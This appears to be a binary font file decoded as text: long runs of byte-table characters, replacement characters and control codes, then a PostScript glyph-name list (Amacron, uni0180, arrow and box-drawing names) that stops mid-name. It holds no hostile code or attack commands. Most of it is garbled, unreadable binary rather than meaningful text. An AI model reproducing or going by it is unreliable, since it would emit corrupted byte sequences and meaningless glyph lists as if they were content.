 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

� !"#$%&'()*+,-./0�123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?��@AB���C���D���E�F�GHIJKLM��NOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-.�/01�23456789�:��;<=>?�@AB�CDEFGHI�JKLMNOPQRSTUVWXYZ[\�]^_`abcdefghijklmnopqrs�tuv��wxyz{|}~��������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	























 
!
"
#
$
%�
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F4uni01F5uni01F6uni01F8uni01F9AEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0243uni0244uni0245uni024Cuni024Duni0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C8uni02C9uni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D6uni02D7uni02DEuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02EEuni02F3	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0343uni0358uni0361uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0462uni0463uni0472uni0473uni0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni04A2uni04A3uni04A4uni04A5uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04BAuni04BBuni04C0uni04C1uni04C2uni04C3uni04C4uni04C7uni04C8uni04CBuni04CCuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni0510uni0511uni051Auni051Buni051Cuni051Duni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni0606uni0607uni0609uni060Auni060Cuni0615uni061Buni061Funi0621uni0622uni0623uni0624uni0625uni0626uni0627uni0628uni0629uni062Auni062Buni062Cuni062Duni062Euni062Funi0630uni0631uni0632uni0633uni0634uni0635uni0636uni0637uni0638uni0639uni063Auni0640uni0641uni0642uni0643uni0644uni0645uni0646uni0647uni0648uni0649uni064Auni064Buni064Cuni064Duni064Euni064Funi0650uni0651uni0652uni0653uni0654uni0655uni065Auni0660uni0661uni0662uni0663uni0664uni0665uni0666uni0667uni0668uni0669uni066Auni066Buni066Cuni066Duni0674uni0679uni067Auni067Buni067Euni067Funi0680uni0683uni0684uni0686uni0687uni0691uni0698uni06A4uni06A9uni06AFuni06BEuni06CCuni06F0uni06F1uni06F2uni06F3uni06F4uni06F5uni06F6uni06F7uni06F8uni06F9uni0E3Funi0E81uni0E82uni0E84uni0E87uni0E88uni0E8Auni0E8Duni0E94uni0E95uni0E96uni0E97uni0E99uni0E9Auni0E9Buni0E9Cuni0E9Duni0E9Euni0E9Funi0EA1uni0EA2uni0EA3uni0EA5uni0EA7uni0EAAuni0EABuni0EADuni0EAEuni0EAFuni0EB0uni0EB1uni0EB2uni0EB3uni0EB4uni0EB5uni0EB6uni0EB7uni0EB8uni0EB9uni0EBBuni0EBCuni0EC8uni0EC9uni0ECAuni0ECBuni0ECCuni0ECDuni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1D02uni1D08uni1D09uni1D14uni1D16uni1D17uni1D1Duni1D1Euni1D1Funi1D2Cuni1D2Duni1D2Euni1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D62uni1D63uni1D64uni1D65uni1D77uni1D78uni1D7Buni1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Buni1E9Funi1EA0uni1EA1uni1EACuni1EADuni1EB0uni1EB1uni1EB6uni1EB7uni1EB8uni1EB9uni1EBCuni1EBDuni1EC6uni1EC7uni1ECAuni1ECBuni1ECCuni1ECDuni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE8uni1EE9uni1EEAuni1EEBuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF8uni1EF9uni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023uni202Funi2031minuteseconduni2034uni2035uni2036uni2037	exclamdbluni203Duni203Euni203Funi2045uni2046uni2047uni2048uni2049uni204Buni205Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A0
colonmonetaryuni20A2lirauni20A5uni20A6pesetauni20A8uni20A9uni20AAdongEurouni20ADuni20AEuni20AFuni20B0uni20B1uni20B2uni20B3uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni2102uni2105uni210Duni210Euni210Funi2115uni2116uni2117uni2119uni211Auni211Duni2124uni2126uni212Auni212B	estimateduni2148uni2150uni2151onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universaluni2201existentialuni2204emptysetgradientelement
notelementuni220Asuchthatuni220Cuni220Duni220Euni2210uni2213uni2215asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2223
logicaland	logicalorintersectionunionuni222Cuni222D	thereforeuni2235uni2236uni2237uni2238uni2239uni223Auni223Bsimilaruni223Duni2241uni2242uni2243uni2244	congruentuni2246uni2247uni2249uni224Auni224Buni224Cuni224Duni224Euni224Funi2250uni2251uni2252uni2253uni2254uni2255uni2256uni2257uni2258uni2259uni225Auni225Buni225Cuni225Duni225Euni225Fequivalenceuni2262uni2263uni2266uni2267uni2268uni2269uni226Duni226Euni226Funi2270uni2271uni2272uni2273uni2274uni2275uni2276uni2277uni2278uni2279uni227Auni227Buni227Cuni227Duni227Euni227Funi2280uni2281propersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni2288uni2289uni228Auni228Buni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22B2uni22B3uni22B4uni22B5uni22B8uni22C2uni22C3uni22C4dotmathuni22C6uni22CDuni22CEuni22CFuni22D0uni22D1uni22DAuni22DBuni22DCuni22DDuni22DEuni22DFuni22E0uni22E1uni22E2uni22E3uni22E4uni22E5uni22E6uni22E7uni22E8uni22E9uni22EFuni2300uni2301houseuni2303uni2304uni2305uni2306uni2308uni2309uni230Auni230Buni230Cuni230Duni230Euni230F
revlogicalnotuni2311uni2312uni2313uni2314uni2315uni2318uni2319uni231Cuni231Duni231Euni231F
integraltp
integralbtuni2325uni2326uni2327uni2328uni232Buni2335uni2336uni2337uni2338uni2339uni233Auni233Buni233Cuni233Duni233Euni233Funi2340uni2341uni2342uni2343uni2344uni2345uni2346uni2347uni2348uni2349uni234Auni234Buni234Cuni234Duni234Euni234Funi2350uni2351uni2352uni2353uni2354uni2355uni2356uni2357uni2358uni2359uni235Auni235Buni235Cuni235Duni235Euni235Funi2360uni2361uni2362uni2363uni2364uni2365uni2366uni2367uni2368uni2369uni236Auni236Buni236Cuni236Duni236Euni236Funi2370uni2371uni2372uni2373uni2374uni2375uni2376uni2377uni2378uni2379uni237Auni237Duni2380uni2381uni2382uni2383uni2388uni2389uni238Auni238Buni2395uni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CEuni23CFuni2423SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2601uni2602uni2603uni2604uni2605uni2606uni2607uni2608uni2609uni260Auni260Buni260Cuni260Duni260Euni260Funi2610uni2611uni2612uni2613uni2614uni2615uni2616uni2617uni2618uni2619uni261Auni261Buni261Cuni261Duni261Euni261Funi2620uni2621uni2622uni2623uni2624uni2625uni2626uni2627uni2628uni2629uni262Auni262Buni262Cuni262Duni262Euni262Funi2638uni2639	smilefaceinvsmilefacesununi263Duni263Euni263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647uni2648uni2649uni264Auni264Buni264Cuni264Duni264Euni264Funi2650uni2651uni2652uni2653uni2654uni2655uni2656uni2657uni2658uni2659uni265Auni265Buni265Cuni265Duni265Euni265Fspadeuni2661uni2662clubuni2664heartdiamonduni2667uni2668uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi2670uni2671uni2672uni2673uni2674uni2675uni2676uni2677uni2678uni2679uni267Auni267Buni267Cuni267Duni267Euni267Funi2680uni2681uni2682uni2683uni2684uni2685uni2686uni2687uni2688uni2689uni268Auni268Buni2690uni2691uni2692uni2693uni2694uni2695uni2696uni2697uni2698uni2699uni269Auni269Buni269Cuni26A0uni26A1uni26B0uni26B1uni2701uni2702uni2703uni2704uni2706uni2707uni2708uni2709uni270Cuni270Duni270Euni270Funi2710uni2711uni2712uni2713uni2714uni2715uni2716uni2717uni2718uni2719uni271Auni271Buni271Cuni271Duni271Euni271Funi2720uni2721uni2722uni2723uni2724uni2725uni2726uni2727uni2729uni272Auni272Buni272Cuni272Duni272Euni272Funi2730uni2731uni2732uni2733uni2734uni2735uni2736uni2737uni2738uni2739uni273Auni273Buni273Cuni273Duni273Euni273Funi2740uni2741uni2742uni2743uni2744uni2745uni2746uni2747uni2748uni2749uni274Auni274Buni274Duni274Funi2750uni2751uni2752uni2756uni2758uni2759uni275Auni275Buni275Cuni275Duni275Euni2761uni2762uni2763uni2764uni2765uni2766uni2767uni2768uni2769uni276Auni276Buni276Cuni276Duni276Euni276Funi2770uni2771uni2772uni2773uni2774uni2775uni2794uni2798uni2799uni279Auni279Buni279Cuni279Duni279Euni279Funi27A0uni27A1uni27A2uni27A3uni27A4uni27A5uni27A6uni27A7uni27A8uni27A9uni27AAuni27ABuni27ACuni27ADuni27AEuni27AFuni27B1uni27B2uni27B3uni27B4uni27B5uni27B6uni27B7uni27B8uni27B9uni27BAuni27BBuni27BCuni27BDuni27BEuni27BFuni27C2uni27C5uni27C6uni27DCuni27E0uni27E6uni27E7uni27E8uni27E9uni27EAuni27EBuni27F5uni27F6uni27F7uni2987uni2988uni2997uni2998uni29EBuni29FAuni29FBuni2A00uni2A2Funi2A6Auni2A6Buni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2C64uni2C6Duni2C6Euni2C6Funi2C70uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Cuni2C7Duni2C7Euni2C7Funi2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2EuniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA722uniA723uniA724uniA725uniA726uniA727uniA789uniA78AuniA78BuniA78CuniA78DuniA78EuniA790uniA791uniA7AAu